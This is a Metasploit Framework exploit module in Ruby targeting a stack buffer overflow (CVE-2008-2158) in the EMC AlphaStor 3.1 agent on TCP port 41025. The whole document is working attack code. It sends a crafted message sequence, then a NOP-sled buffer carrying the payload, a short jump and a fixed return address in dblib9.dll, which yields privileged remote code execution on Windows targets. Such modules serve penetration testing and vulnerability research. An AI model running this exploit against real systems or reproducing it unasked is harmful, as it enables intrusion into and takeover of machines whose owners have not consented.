EMC AlphaStor Agent Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'EMC AlphaStor Agent Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in EMC AlphaStor 3.1.  
By sending a specially crafted message, an attacker may  
be able to execute arbitrary code.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2008-2158' ],  
[ 'OSVDB', '45714' ],  
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ],   
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process', # one-shot overwrite.   
},  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.1975  
],  
'Privileged' => true,  
'DisclosureDate' => 'May 27 2008',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(41025)], self.class)  
  
end  
  
def exploit  
connect  
  
# overwrite via: ascli.exe asopmsg "long_buff"  
uno = [0x0000000b].pack('V')  
sock.put(uno)  
  
dos = rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00"  
sock.put(dos)  
  
tres = [0x00000004].pack('V')  
sock.put(tres)  
  
quatro = [0x0000001b].pack('V')  
sock.put(quatro)  
  
cinco = [0x0000047c].pack('V')  
sock.put(cinco)  
  
data = make_nops(827 - payload.encoded.length) + payload.encoded  
data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')   
data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00"  
  
print_status("Trying target #{target.name}...")  
sock.put(data)  
  
handler  
disconnect  
end  
  
end  
`